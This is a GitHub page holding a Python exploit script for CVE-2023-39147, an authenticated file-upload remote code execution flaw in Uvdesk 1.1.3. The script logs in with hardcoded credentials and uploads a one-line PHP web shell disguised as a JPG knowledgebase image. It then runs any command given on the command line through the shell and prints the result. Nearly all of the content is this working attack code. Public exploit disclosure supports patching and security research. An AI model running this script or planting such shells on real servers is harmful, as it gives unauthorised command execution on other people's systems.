-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2023-39147.py
54 lines (45 loc) · 1.59 KB
/
CVE-2023-39147.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Exploit Title: Uvdesk - File Upload Remote Code Execution (RCE) (Authenticated)
# Date: 28/07/2023
# Exploit Author: Daniel Barros (@cupc4k3d) - Hakai Offensive Security
# Vendor Homepage: https://www.uvdesk.com
# Software Link: https://github.com/uvdesk/community-skeleton
# Version: 1.1.3
# Example: python3 CVE-2023-39147.py -u "http://$ip:8000/" -c "whoami"
# CVE : CVE-2023-39147
# Tested on: Ubuntu 20.04.6
import requests
import argparse
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', required=True, action='store', help='Target url')
parser.add_argument('-c', '--command', required=True, action='store', help='Command to execute')
my_args = parser.parse_args()
return my_args
def main():
args = get_args()
base_url = args.url
command = args.command
uploaded_file = "shell.php"
url_cmd = base_url + "//assets/knowledgebase/shell.php?cmd=" + command
# Edit your credentials here
login_data = {
"_username": "[email protected]",
"_password": "Mudar@@2023",
"_remember_me": "off"
}
files = {
"name": (None, "pwn"),
"description": (None, "xxt"),
"visibility": (None, "public"),
"solutionImage": (uploaded_file, "<?php system($_GET['cmd']); ?>", "image/jpg")
}
s = requests.session()
# Login
s.post(base_url + "/en/member/login", data=login_data)
# Upload
upload_response = s.post(base_url + "/en/member/knowledgebase/folders/new", files=files)
# Execute command
cmd = s.get(url_cmd)
print(cmd.text)
if __name__ == "__main__":
main()